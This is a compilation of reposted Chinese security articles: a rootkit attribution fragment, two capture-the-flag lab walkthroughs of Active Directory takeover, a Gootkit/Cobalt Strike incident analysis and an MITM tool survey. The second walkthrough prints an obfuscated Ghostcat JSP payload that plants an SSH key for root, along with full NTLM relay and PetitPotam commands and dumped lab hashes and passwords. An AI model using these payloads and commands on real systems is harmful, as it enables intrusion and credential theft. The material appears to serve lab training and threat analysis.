CosmicStrand 和MyKings 在內核模式（Proc 和GetM）中分配內存時使用相同的標籤。

兩個家族都以相同的方式生成網絡數據包，並直接利用UDP 和TCP 設備對象。

兩者使用的API 哈希碼是相同的，如下面的截圖所示。據我們所知，這種算法只在另外兩個rootkit 中被發現，即MoonBounce 和xTalker。

12.png

除了這種代碼相似性之外，CosmicStrand 使用的硬編碼後備DNS 服務器位於CHINANET-BACKBONE (AS4134) 這一事實可能被視為攻擊者屬於中文網絡的一個非常低的置信度的跡象。

CosmicStrand 是一個複雜的UEFI 固件rootkit，它允許其所有者實現持久性攻擊。

HireHackking

0x1 Info

image
靶场地址：https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全，且出题的思路很好，感兴趣的可以去玩玩

0x2 Recon

  1. Target external IP
    39.98.34.149
  2. Nmap results
    image
  3. 关注80端口的http服务，目录爆破（省略）找到 /admin
    image
  4. 使用弱口令登录进入后台，去到模板页面，编辑header.html，添加php一句话
    \
    用户名: admin, 密码：123456


image

  1. 命令执行
    image

0x03 入口点：172.22.4.36

  1. 弹shell
    image
    快速过一下：
    • 入口机器没特别的东西
    • 没能提权到root权限（也不需要提权到root权限）
    • stapbpf suid利用失败

      找到diff suid
      image
  2. flag01
    diff --line-format=%L /dev/null /home/flag/flag01.txt
    image
  3. flag01 里面有提示用户名
    WIN19\Adrian
  4. 挂代理扫 445
    image

    获取到三个机器信息

    172.22.4.19 fileserver.xiaorang.lab
    172.22.4.7 DC01.xiaorang.lab
    172.22.4.45 win19.xiaorang.lab

  5. 用 Flag01提示的用户名 + rockyou.txt 爆破，爆破出有效凭据 (提示密码过期)

    win19\Adrian babygirl1
  6. xfreerdp 远程登录上 win19 然后改密码
    image
    image

0x04 Pwing WIN19 - 172.22.4.45

前言：当前机器除了机器账户外，完全没域凭据，需要提权到system获取机器账户

  1. 桌面有提示
    image
  2. 关注这一栏，当前用户Adrian对该注册表有完全控制权限
    image
    image
  3. 提权
    msfvenom生成服务马，执行 sam.bat
    image

    sam.bat
    image

    修改注册表并且启用服务，然后桌面就会获取到 sam，security，system
    image
  4. 获取 Administrator + 机器账户 凭据

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636

    image

  5. flag02
    image
  6. 使用机器账户收集域信息
    image

0x05 DC takeover - 172.22.4.7

  1. 分析 Bloodhound，发现 WIN19 + DC01都是非约束委派
    image
  2. 使用Administrator登录进入 WIN19，部署rubeus
    image
  3. 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT
    image
    image
  4. Base64的tgt 解码存为 DC01.kirbi
    image
  5. DCSync 获取域管凭据
    image
  6. psexec - flag04
    image

0x06 Fileserver takeover - 172.22.4.19

  1. psexec - flag03
    image

0x07 Outro

  • 感谢Alphabug师傅的提示（0x03 - 0x04），大哥已经把入口点都打完了，我只是跟着进来而已
  • 感谢九世师傅的合作

原文链接：https://www.freebuf.com/articles/web/352151.html
HireHackking

0x01 – Info

  • Tag: Tomcat，NTLM，WebClient，Coerce Authentication，noPac
    53iuzugpbv314239.png

0x02 – Recon

  1. Target external ip
     47.92.146.66
  1. Nmap results
    Focus on port 8009 (ajp) ，意味着是tomcat (对应了靶场的tomcat tag)
    njy0ewwgn4j14240.png
  2. 目录扫描，404页面显示为tomcat 9.0.30
    hezfp2ewn0l14241.png
  3. Playing with Ghost cat
    使用该项目测试
    https://github.com/00theway/Ghostcat-CNVD-2020-10487
    读取/web-inf/web.xml
    5dqfol4c3dq14243.png
    url-pattern 结果存为字典
    ipt3dljejus14244.png
    FFuf
    50d5abakafr14245.png
    关注uploadservlet
    alcsuijqj3c14247.png
    上传temp.txt
    0ssj1carr5b14248.png
    返回文件地址
    eebthlwkfso14249.png
     ./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt

    替换 ./upload to /upload，成功读取到上传的文件

     python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read

    u2oezixff1w14250.png

 

0x03 – GhostCat命令执行

  1. 准备好 shell.txt
    icwhnar0di214253.png

    <% java.io.InputStream in = Runtime.getRuntime().exec(“bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}”).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(“<pre>“); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(“</pre>“);%>

  1. 上传shell.txt
    opcbzg3hrch14254.png
  2. 执行上传的代码
    pcjorwlanmv14257.png
  3. SSH – flag01
    4csqknnshow14259.png

 

0x04 – 入口 Ubuntu: 172.22.11.76

  1. SSH
    ivqlz4xvcuv14261.png
  2. 没啥东西，直接过
    2repwedqh2a14263.png
  3. 开代理
    xyi3dxzqzn214265.png
  4. 挂代理扫445，获取到三台主机信息

    172.22.11.45 XR-Desktop.xiaorang.lab
    172.22.11.6 xiaorang-dc.xiaorang.lab
    172.22.11.26 XR-LCM3AE8B.xiaorang.lab
    41kkz0iwvdr14267.png

  5. 关注172.22.11.45 – windows7 – MS17
    ozvvx2gk3oh14268.png
  6. MS17 一气呵成
    a1ieb5lhrr014270.png
  7. 基本操作
    waakbhdjgkn14271.png
    tg4fpav2et314273.png
    凭据列表

    Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (本地凭据)
    John 03cae082068e8d55ea307b75581a8859 – (本地凭据)
    XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (域凭据)
    yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (明文) – (域凭据)
    本人已经试过组合爆破了，没有东西，这边直接略过演示，直接到域渗透环节
    zcikwn4werg14274.png

  8. Flag2
    tvibmczpu2314275.png
  9. 把域用户yangmei加入该机器的本地管理员
    znt1nlcuyka14277.png
  10. 确定域控IP为172.22.11.6 – xiaorang-dc
    t5uzjaqujax14279.png
  11. Bloodhound收集
    shtekg04dwi14281.png

 

0x05 – 域渗透环节, 入口 XR-Desktop: 172.22.11.45

  • 这边快速过一下 (一句话总结：不能直接拿下域控)
    1. 使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破，没发现其他新用户
    2. MAQ = 0，加不了计算机
    3. 当前LDAP 没 TLS，远程也加不了计算机，impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制，无法添加计算机；ldaps受到 没TLS + MAQ = 0 的限制
    4. 域控存在nopac，当前用户yangmei使用nopac没打死，并且对域内computer container没有createchild的ACL
    5. 域控存在nopac，当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限，意味着无法修改SamAccountName
    6. 域内存在 DFscoerce 和 petitpotam，但是不存在CVE-2019-1040，因此放弃 DFscoerce，优先使用petitpotam
    7. NoPac exploit: Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)
  1. Petitpotam 扫描
    f3i4rt0nalc14283.png
  2. 无ADCS + Petitpotam + ntlm中继打法
    攻击链：用petitpotam触发存在漏洞且开启了webclient服务的目标，利用petitpotam触发目标访问我们的http中继服务，目标将会使用webclient携带ntlm认证访问我们的中继，并且将其认证中继到ldap，获取到机器账户的身份，以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
  • 满足条件，目标机器需要开启webclient服务
    WebClient扫描，确定只能拿下 172.22.11.26 (XR-LCM3AE8B)
    xifsx5c4pb414284.png
  • 中继攻击前言：
    • 实战中的中继打法只需要停掉80占用服务，开启端口转发（portfwd，CS在后续版本中添加了rportfwd_local，直接转发到客户端本地）
    • 本次演示类似实战的打法，不选择把impacket丢到入口ubuntu上面这种操作
  1. 中继攻击环境配置: 端口转发 + 代理
    我们目前需要把服务器的80，转发到客户端本地的80
  • 注意：由于SSH的反向端口转发监听的时候只会监听127.0.0.1，所以这时候需要点技巧
    如图所示，即使反向端口转发79端口指定监听全部 (-R \*:79:127.0.0.1:80)，端口79依旧绑定在了127.0.0.1（图中顺便把socks5代理也开了）
    ezutnga4bnz14285.png
    加多一条socat，让流量 0.0.0.0:80 转发到 127.0.0.1:79，再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
    urwqfau3usi14286.png
    测试，从172.22.11.76:80 进来的流量直接转发到了我们本地
    3rw45zlw1sy14288.png
    本地开启ntlmrelayx
  • 注意：
    • 前面提到，没有ldaps，所以不能使用addcomputer
    • 同时在使用proxychains后，ldap://后面只能接dc的ip
    • 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
      sudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
      uqvkbrvnuvn14291.png
  1. 使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
    proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt XR-LCM3AE8B
    可以看到，已经完成RBCD攻击了，接下来就是直接申请XR-LCM3AE8B的银票了
    0som3gysxym14293.png
  2. 申请XR-LCM3AE8B CIFS票据
    uqgmj0ub5o214295.png

 

0x06 – 域渗透环节 – NoPAC, 入口 XR-LCM3AE8B：172.22.11.26

  1. psexec
  • flag03在 C:\users\administrator\flag\flag03.txt (这里没截图)
    kexldxxklhy14297.png
  1. smbclient.py 传 mimikatz
    td0lapyx0vh14299.png
  2. 获取到新凭据
     zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1

    es13wzn2iug14301.png

  3. nopac
  • 只有zhanghui能成功，zhanghui在MA_Admin组，MA_Admin组对computer 能够创建对象，但是在bloodhound没看到
    AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++
    immthpczhrb14304.png
    Bloodhound看不到，主要原因是没把CreateChild采集进json
    ckjcsjpzsdw14306.png
  1. 回到nopac，加上 create-child 参数
    3oe42q1owwe14308.png

 

0x07 – 域渗透环节 – xiaorang-dc

  1. 使用nopac申请到的cifs票据登录进入DC
  • flag04在 C:\users\administrator\flag\flag04.txt (这里没截图)
    yqagpmzy03l14310.png
  1. 域管 (略过使用mimikatz)
    administrator 0fadb57f5ec71437d1b03eea2cda70b9
    ![[rubipgrhkqo14313.png

 

0x08 – 瞎玩

尝试解决Bloodhound.py采集不到CreateChild
bloodhound/enumeration/acls.py里面其实已经定义好了变量，只需要调用即可
3a15h0ywoqe14315.png
来到170行，我们添加上去，找到CreateChild就添加进数据
jlscbowow2y14316.png
重新跑一遍bloodhound.py，观察containers的结果，发现已经有相关数据了，RID 1132 = MA_Admin组
bklh54kb4q214318.png
Bloodhound示意图，但是数据还是乱
0btwskrdhze14320.png

原文链接： https://www.anquanke.com/post/id/285771
HireHackking

眾所周知，Gootkit使用無文件技術來釋放CobaltStrike和其他惡意負載。研究人員最近發現的一次攻擊，表面其戰術又有了更新。

研究人員對異常PowerShell腳本的深入分析揭示了與Gootkit加載程序相關的攻擊集。過去，Gootkit使用免費軟件安裝程序來屏蔽惡意文件；現在它使用法律文件來誘騙用戶下載這些文件。我們通過託管擴展檢測和響應(MxDR)以及調查PowerShell腳本的標誌來發現這種攻擊策略，該標誌允許我們阻止它造成任何損害並釋放其有效載荷。眾所周知，Gootkit使用無文件技術來傳遞值得注意的威脅，例如SunCrypt和REvil(Sodinokibi)勒索軟件、Kronos特洛伊木馬和CobaltStrike。

攻擊概述在與各種有效負載對比之後，我們可以假設Gootkit運行在一個訪問即服務模型上。因此，它可以被不同的組織用來進行攻擊，因此值得對其進行監控，以防止更大的威脅成功進入系統。

下圖說明了其感染程序。它從用戶在搜索引擎中搜索特定信息開始。在這種情況下，用戶搜索了關鍵詞“披露協議房地產交易”。結果中有一個被Gootkit運營商攻擊的網站，這意味著用戶打開這個被攻擊的網站並不是偶然的。事實上，運營商通過使用搜索引擎優化(SEO)攻擊來調整對他們有利的機率，使該網站在搜索結果中排名靠前，從而導致用戶訪問受感染的網站。這也意味著該網站的URL將不會長時間可用，如果不立即進行全面分析將難以進行。

1.png

MxDR看到的GootkitLoader感染鏈

打開該網站後，我們發現它以在線論壇的形式出現，直接回答受害者的問題。該論壇包含一個包含惡意.js文件的ZIP壓縮文件。當用戶下載並打開此文件時，它會生成一個混淆腳本，該腳本通過註冊表填充，在註冊表中安裝了一大塊加密代碼，並添加了計劃任務以實現持久性。然後通過PowerShell反射加載註冊表中的加密代碼，以重建CobaltStrike二進製文件，該二進製文件直接在內存中無文件運行。

我們剛剛描述的大部分內容仍然與我們在2020年報告的行為一致，但有一些小的更新。這表明GootkitLoader仍在積極開發中，並且已證明成功地攻擊了毫無戒心的受害者。

兩個明顯的變化引人注目：

搜索詞現在利用法律文檔模板而不是免費軟件安裝程序。

加密註冊表現在使用自定義文本替換算法而不是base64編碼。

被攻擊的網站通過追踪用戶的行為，我們現在可以看到攻擊中訪問的網站。眾所周知，攻擊者只會攻擊一個易受攻擊或配置錯誤的網站來植入他們的惡意軟件或工具，而不是創建或註冊一個新的惡意操作。在Gootkit的案例中，由於它破壞了一個合法域名，所使用的網站很可能通過了信譽服務。對於毫無戒心的用戶來說，訪問該網站不會引起懷疑，因為它對於歌唱和語音教練來說似乎是一個無害的網站。

2.png

受感染網站的主頁

對下載的文件執行搜索(“房地產交易披露協議”)表明，該網站的內容與其所有者及其目的無關。此外，通過導航網站的主頁本身無法找到這些搜索結果鏈接。這是該網站已被攻擊的證據，因為它允許攻擊者註入或創建新的不相關的Web內容。當我們通過託管網站的Shodan查詢IP地址時，我們還發現了更多漏洞證據。

3.png

谷歌搜索顯示網站中不需要的內容

這種策略對Gootkit來說並不是什麼新鮮事。再加上SEO攻擊，Gootkit運營商可以將受害者集中到一個受感染的網站，並誘使他們下載他們正在尋找的文件。在這次事件中，我們能夠在Gootkit加載程序釋放其有效載荷之前阻止它。然而，該用戶已經訪問了該網站，下載了惡意的ZIP文件，並打開了它。這些操作導致的異常PowerShell腳本提醒我們可能有惡意活動。在這次調查中，我們試圖找出如果PowerShell腳本沒有被標記並被允許運行會發生什麼。

調查分析如上所述，用戶訪問了受感染的網站並使用GoogleChrome下載了ZIP壓縮文件。根據TrendMicroVisionOneTM的記錄，他們訪問的確切URL如下：

4.png

截至撰寫本文時，該URL已無法訪問。但是，我們能夠分析用戶下載的ZIP壓縮文件。如前所述，它被命名為披露協議房地產交易（8321）.zip。在另一個例子中，JavaScript文件被命名為家庭成員之間的租賃協議template(98539).zip。這兩個文件名都強烈表明Gootkit利用了引用法律文檔模板的關鍵字，可能會引誘用戶下載文件。需要注意的是，這個選擇的搜索詞和主題一直在發生變化。

5.png

VisionOne界面顯示用戶訪問受感染網站並下載ZIP壓縮文件的證據

ZIP壓縮文件已成功保存在下載文件夾C:\Users\{username}\Downloads\disclosureagreementrealestatetransaction(8321).zip中。

6.png

ZIP壓縮文件成功保存在用戶的Downloads文件夾中

然後，用戶打開了ZIP壓縮文件中的.js文件，該文件生成了一個混淆的PowerShell腳本。檢測到的命令行包括wscript.exe，Windows操作系統的默認腳本解釋器。此命令行運行惡意JavaScript文件。文件夾文件路徑和文件名如下所示：

7.png

通過.js文件生成的混淆PowerShell腳本

通過使用VisionOne的AMSI跟踪分析，該團隊能夠在運行時查看解碼的腳本並構建它生成的事件順序。在已解碼的腳本中，列出了三個可能受到威脅的域。這些域名本身就是合法的網站。 Gootkit只選擇一個並構造完整的URL以獲取下一階段的腳本執行。這裡列出了三個域：

learn[.]openschool.ua–教育

Lakeside-fishandchips[.]com–餐廳和美食

kristinee[.]com–個人網站

8.png

VisionOne的AMSI追踪記錄的解碼腳本

對腳本進行解碼也讓我們發現，為了完成操作需要兩個階段的腳本。第一階段腳本執行以下操作：

1.它檢查註冊表HKCU\PJZTLE，如果找不到則創建它。正如我們在之前的博客中討論的那樣，這可以作為感染標記。

2.然後它會檢查當前用戶是否登錄到可能用於繞過沙盒工具的域。

3.接下來，它連接到構造的URL以獲取下一個要執行的腳本。在本例中，它從hxxps://learn[.]openschool[.]ua/test.php?mthqpllauigylit=738078785565141檢索第二階段腳本。

然後，它會在運行獲取的代碼之前休眠10秒。

9.png

VisionOne的AMSI分析記錄的第一階段腳本執行流程

從上述受感染網站檢索到的第二階段腳本完成了此處列出的信息：

1.它通過環境字符串獲取當前用戶名；

2.它檢查目標註冊表並在它不存在時創建它。它為持久性執行註冊表填充，其中創建了兩組註冊表，每組都包含加密的二進製文件，稍後將被解碼和執行：

10.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}\\上的註冊表填充

11.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}0\\上的註冊表填充

在這兩個階段之後，它最終執行了兩個同樣由AMSITelemetry記錄的加密PowerShell腳本。第一個解密註冊表\\Phone\\{loggedOnUser}0\\的二進製文件，並用於啟動名為“Test”的函數。

12.png

VisionOne的AMSI追踪記錄的第一個PowerShell的解碼腳本

第二個PowerShell腳本通過計劃任務安裝持久性機制，其中它將用戶名分配為其任務名稱。

13.png

VisionOne的AMSI追踪記錄的第二個PowerShell解碼後的腳本

計劃任務將二進製文件加載到\Phone\{loggedOnUser}0註冊表，然後使用相同的反射代碼加載技術解密並執行在\Phone\{loggedOnUser}註冊表中找到的最終有效負載。

發現此實例的最終有效負載是一個CobaltStrike二進製文件，該二進製文件也被發現連接到CobaltStrike的命令和控制(CC)服務器。

CobaltStrike有效載荷CobaltStrike二進製文件以反射方式直接加載到內存中，已連接到IP地址89[.]238[.]185[.]13。使用內部和外部威脅情報，該團隊確認該IP地址是Cobalt Strike CC。 CobaltStrike是一種用於後期開發活動的工具，它使用信標組件作為主要有效負載，允許執行PowerShell腳本、記錄擊鍵、截屏、下載文件和生成其他有效負載。

14.png

總結從這個案例中得到的一個關鍵結論是，Gootkit仍然很活躍，並不斷迭代其技術。這意味著該操作已被證明是有效的，因為其他攻擊者似乎仍在繼續使用它。用戶未來可能會在其他活動中遇到Gootkit，並且它很可能會使用新的手段來發起攻擊。

分析還表明，SEO攻擊仍然是一種有效的釣魚策略。 SEO攻擊和合法網站受損結合可以掩蓋惡意活動的跡象，這些跡象通常會讓用戶保持警惕。這種策略突出了用戶意識的重要性以及網站所有者在確保其網絡空間安全方面的責任。

各類組織可以通過對其員工進行用戶安全意識培訓來提供幫助，該培訓旨在使人們能夠識別並保護自己免受最新威脅的攻擊。例如，在本例中，如果用戶對下載JavaScript文件更加謹慎，則可以更早地避免威脅。另一方面，網站所有者必須通過選擇強調自己服務器安全性的網絡託管服務提供商來做出更好的網絡託管選擇。

這個案例凸顯了監控的重要性。值得注意的是，跨平台XDR阻止了這種攻擊升級，因為我們能夠迅速隔離受影響的計算機，阻止對網絡造成進一步的損害。例如，CobaltStrike有效載荷可能會導致更嚴重的問題，例如勒索軟件的部署、橫向移動的憑證轉儲和數據洩露。託管XDR服務阻止了這一切的實現。

HireHackking

（接上文）

現在，讓我們轉向攻擊者用來執行中間人攻擊的工具類型，並探討幾個示例。

MITM工具的分類進行中間人攻擊的工具有很多，因此在本文中，我們將只關注幾個最流行的工具。

讓我們根據使用它們的開放系統互連(OSI) 模型層對這些工具進行分類。

image.png

圖3. MITM 攻擊類型和工具取決於OSI 模型層

1. L2（數據鏈路層）在這一層，最常見的攻擊是ARP 欺騙和VLAN 跳躍。第一個我們已經在上面探索過。讓我們簡要討論後者。

VLAN 跳躍。 VLAN 網絡中的數據包具有特定的標記，以便在通過交換機時明確哪個數據包屬於哪個子網。網絡犯罪分子使用以下兩種方法之一執行VLAN 跳躍攻擊：

马云惹不起马云攻擊者連接到網絡並開始模仿交換機的工作，以便他們可以與網絡交換機建立連接。由於這種連接，數據包將在到達交換機之前通過攻擊者的計算機。

马云惹不起马云攻擊者向數據包添加額外的標記。網絡內的交換機會刪除自己的標記並進一步發送數據包。同時，攻擊者攔截帶有附加標記的數據包。如果攻擊者連接到網絡中的主交換機，此方法將起作用。

大多數命令行工具中的數據提取方案

image.png

圖4. 大多數命令行工具中的數據提取方案

現在，讓我們探索用於此類攻擊的工具。

BetterCAP是一款功能強大的工具，具有靈活的設置，可用於：

马云惹不起马云進行各種MITM 攻擊

马云惹不起马云實時操縱HTTP、HTTPS 和TCP 流量

马云惹不起马云嗅探網絡以查找用於身份驗證的數據

马云惹不起马云和更多

unfiltered-data-flow-received-through-the-bettercap-utility.png

圖5. 通過BetterCAP 實用程序接收的未過濾數據流

從BetterCAP 的第一個版本開始，專業的滲透測試人員就一直在選擇它。移動設備和軟件的開發人員以及物聯網領域的研究人員利用該實用程序測試設備安全性的能力。

BetterCAP 最方便的功能之一是能夠將所有收集的數據提取到外部文件中。為此，滲透測試者可以配置該實用程序來監聽它當前所在的整個網絡，或者監聽一個或多個指定的IP 地址。

BetterCAP 可以通過MAC 地址和特定子網進行配置，允許QA 專家在指定配置中搜索漏洞。

該實用程序支持APR 和DNS 欺騙以及流量嗅探，並進一步將數據提取到控制台或日誌中。提取的數據集包括：

马云惹不起马云訪問過的URL 和HTTPS 主機

马云惹不起马云HTTP POST 數據

马云惹不起马云HTTP Basic 和Digest 身份驗證

马云惹不起马云HTTP Cookie

马云惹不起马云FTP、IRC、POP、IMAP 和SMTP 憑證

BetterCAP 與HTTP/HTTPS（SSL 剝離和HSTS 繞過）和TCP 代理一起使用，可用於操縱HTTP/HTTPS 和現實生活中的低級TCP 流量。使用標准設置，代理僅記錄請求。但是您可以使用一組模塊配置它們的設置，或者您可以添加自己的自定義模塊並以您想要的方式操縱流量。

Arpspoof是專為在本地網絡中進行ARP 欺騙而設計的實用程序。它發送兩個請求——一個到服務器，一個到選定的計算機或計算機——接收它們的MAC 地址，用它自己替換從服務器到客戶端的ARP 響應，並用它自己或另一個替換受害者的默認網關IP地址。 Arpspoof 的主要任務是流量嗅探。

Arpspoof 支持啟動第三方腳本。該實用程序應更多地被視為熟悉ARP 欺騙的培訓程序，而不是工作工具，因為Arpspoof 功能有限，沒有解密器，應用領域狹窄。

2. L3（網絡層）在網絡層，最常見的MITM 攻擊是無狀態地址自動配置攻擊和ICMP 重定向。讓我們探索它們是如何工作的。

無狀態地址自動配置(SLAAC) 攻擊會重新配置啟用IPv6的網絡。允許IPv6 但沒有任何設置的組織網絡是一個常見漏洞。在SLAAC 攻擊中，攻擊者向IPv6 主機提供前綴、前綴長度和沒有DHCPv6 服務器的默認網關地址。例如，如果攻擊者創建自己的路由器廣告(RA)，他們可以成為網絡中的主路由器，整個數據流將通過他們的計算機。

ICMP 重定向。使用ICMP 的原因之一是動態更改目標網絡中的路由表。最初，ICMP 旨在防止消息以非最佳方式發送並提高網絡穩定性。網絡的某個部分（連接到互聯網）可以有多個路由器。如果其中一個斷開，主路由器向所有網絡設備發送ICMP 請求，並重寫路由表以在新條件下工作。

在ICMP 重定向攻擊中，攻擊者要么等待其中一個路由器關閉，要么自行禁用它。然後，攻擊者開始從所有路由器發送ICMP 請求。結果，形成了一個新的網絡，其中攻擊者成為網絡節點之一。在ICMP 重定向攻擊期間，攻擊者可以指定目標網站只能通過攻擊者的路由器訪問。

讓我們看一下用於ICMP 重定向攻擊的幾個工具。

寄生蟲6。此實用程序是一個類似於BetterCAP 但功能有限且設置最少的ARP 欺騙程序。它連接到本地網關並傳輸所有網絡流量。它向控制台輸出一條消息，指定數據包發送給誰以及誰必須接收它。 parasite6 工具最好與可以讀取通過它的數據包的實用程序一起使用。

假路由器6。啟動時，此實用程序會向網絡發送一個信號，指定攻擊者的路由器在網絡中具有最高優先級。然後網絡重新配置自己，使從指定子網進入外部網絡的最後一步通過攻擊者的計算機。結果，最初發送到路由器的所有數據都將通過安裝了fake_router6 的攻擊者計算機。

DOS-新-ip6。該實用程序的主要任務是在重複的ip6 請求期間向重複地址檢測(DAD) 進程提供虛假數據。這使攻擊者有機會在網絡內創建節點。節點地址將與另一個網絡節點的地址相同，仍然使控制器認為只有一個客戶端具有這樣的地址。結果，數據將被發送到兩個節點，包括攻擊者的節點。

利用6 . 此工具是一種漏洞掃描程序，可向目標計算機發送多個請求。它接收響應並向控制台輸出數據，指定目標計算機具有哪些已知漏洞。

thcping6。此實用程序允許為ping6 請求創建自定義數據包。它允許您修改數據包大小、數據類型和其他參數。首先，攻擊者為數據包和目標計算機指定一組選項。然後，他們發送一個數據包並接收響應。通過擬合某些數據包，惡意行為者可以使目標系統拒絕響應特定請求（發送響應錯誤消息）。然後，了解數據包的特性後，他們可以使用其他實用程序來創建相同的數據包，但發送多個數據包。這將使系統過載，導致系統故障或其中一個節點發生故障。

3. L4+（傳輸層）在傳輸層，攻擊者可以應用鏈路本地多播名稱解析欺騙、NetBIOS 欺騙、DHCP 欺騙和流氓DHCP 欺騙。

鏈路本地多播名稱解析(LLMNR) 欺騙。如果出於某種原因，Windows 客戶端無法使用DNS 獲取主機名，它將嘗試使用LLMNR 協議來獲取主機名，並向最近的計算機發送請求。該技術通過IPv4和IPv6 地址起作用。

NetBIOS 欺騙。如果LLMNR 欺騙不起作用，攻擊者可以使用NetBios 名稱服務。它類似於LLMNR 並且用於相同的目標，但它僅適用於IPv4 地址。這個想法是，如果附近的某些計算機即使提供虛假信息也可以響應，則響應將被視為有效。

DHCP 欺騙。此攻擊的目的是強制客戶端使用攻擊者的主機作為默認網關，以及使用攻擊者配置的DNS 和WINdows Internet Name (WINS) 服務器。攻擊者的任務是在網絡中配置一個虛假的DHCP 服務器，用於向客戶端發送DHCP 地址，並耗盡合法DHCP 服務器的地址池。

成功的DHCP 欺騙攻擊有兩個條件：

马云惹不起马云客戶端從非法服務器接收IP 比從合法服務器更快

马云惹不起马云合法服務器有一個耗盡的地址池

流氓DHCP。惡意DHCP 攻擊的主要目標是使用偽造的DHCPv6 服務器將流量從受害者的計算機重新發送到攻擊者的計算機。惡意行為者截獲DHCP 消息請求並對其進行響應，模擬實際的DHCPv6 服務器。

以下是可用於此類L4+ 攻擊的幾種工具：

埃特卡普。這個實用程序內置在Kali Linux中。它易於配置並具有圖形用戶界面，這使得熟悉它變得簡單快捷。 Ettercap 允許您執行ARP 中毒、ICMP 重定向、端口竊取、DHCP 欺騙和NDP 中毒。

使用Ettercap 時，您可以即時查看、分析甚至執行一些操作。它向您顯示連接狀態，並允許您以文本格式查看從所選連接收集的所有數據。

Ettercap 的主要缺點是缺少數據解密工具。因此，如果使用加密保護網絡，您將需要使用其他實用程序。 Ettercap 的功能比BetterCap 弱得多，但它可以用於信息和教育目的。

ettercap-user-interface.png

圖6. Ettercap 用戶界面

斯納爾夫。此實用程序設計用於處理smb、ftp 和類似的流量類型。要使用它，您首先需要有一個可以工作的欺騙器（我們使用了BetterCAP）。通過欺騙器的所有流量都會重新發送到Snarf，Snarf 會挑選出負責遠程連接（如smb 和ftp）的流量。通過Snarf 的任何其他流量都不會顯示在控制台或服務頁面上。

Snarf 向控制台輸出有關數據目的地、數據大小、哈希、地址、端口、連接類型和錯誤的信息。它還顯示潛在內存洩漏的錯誤。收集到的數據摘要以表格形式輸出到服務頁面，其中包含有關連接、計算機和系統的主要信息。此外，Snarf 提供了過期或阻止連接的機會。

但是，此實用程序僅適用於Linux，並且配置它可能非常不明顯。

中間人6。此工具偵聽攻擊者計算機的主網絡接口，以攔截來自網絡中其他計算機的IPv6 地址請求（通過應用DHCPv6 請求）。

使用標准設置，系統（連接到主路由器的設備網絡）會定期發送DHCPv6 請求。 mitm6 實用程序使用受害者的新地址響應這些請求。在現實生活中的網絡中，客戶端的地址將由網絡中的客戶端計算機分配，但在mitm6 請求攔截的情況下，受害者的地址將由mitm6 分配。這使惡意行為者有機會將自己的計算機分配為服務器。因此，所有受害者的連接都將通過攻擊者的計算機。

這僅適用於Windows，因為Mac 和Linux 不使用DHCPv6 請求來確定IP 和DNS 服務器。 mitm6 工具並不聲稱自己是一個中心節點，因此它不會攔截來自網絡中所有計算機的信號。相反，它選擇性地欺騙特定主機。

